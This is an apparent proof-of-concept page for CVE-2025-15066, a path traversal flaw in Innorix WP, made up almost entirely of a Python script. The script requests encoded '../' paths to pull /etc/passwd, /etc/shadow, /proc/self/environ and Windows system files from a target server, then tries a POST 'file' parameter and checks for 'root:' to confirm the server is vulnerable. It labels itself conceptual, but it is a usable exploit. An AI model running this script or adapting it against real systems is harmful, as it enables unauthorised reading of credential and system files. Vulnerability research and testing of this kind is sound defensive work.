CVE-2025-15066 Innorix WP路径遍历漏洞

# CVE-2025-15066 PoC - Path Traversal in Innorix WP # Note: This is a conceptual PoC based on the vulnerability description # The actual exploitation depends on the specific endpoint import requests import urllib.parse target_url = "http://target-server/innorix/exam/" # List of common sensitive files to attempt to read target_files = [ "../../../../etc/passwd", "../../../../windows/win.ini", "../../../../boot.ini", "../../../../proc/self/environ", "../../../../etc/shadow", "../../../../../../windows/system32/drivers/etc/hosts" ] print("CVE-2025-15066 Path Traversal PoC") print("Target: Innorix WP") print("-" * 50) for file_path in target_files: # Encode the path traversal sequence encoded_path = urllib.parse.quote(file_path, safe='') # Construct the full URL url = target_url + encoded_path print(f"\nTesting: {file_path}") print(f"URL: {url}") try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS: File content retrieved ({len(response.text)} bytes)") print("-" * 30) print(response.text[:500]) # Print first 500 chars elif response.status_code == 404: print(f"[-] Not found or path not accessible") else: print(f"[*] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") # Example of reading specific configuration files print("\n" + "=" * 50) print("Extended PoC with POST request") print("=" * 50) # If the application accepts POST requests with file parameters post_data = { "file": "../../../../etc/passwd", "action": "download" } try: response = requests.post(target_url, data=post_data, timeout=10) if response.status_code == 200 and "root:" in response.text: print("[+] Confirmed vulnerable - Sensitive file content exposed") except: print("[-] POST request did not return expected results")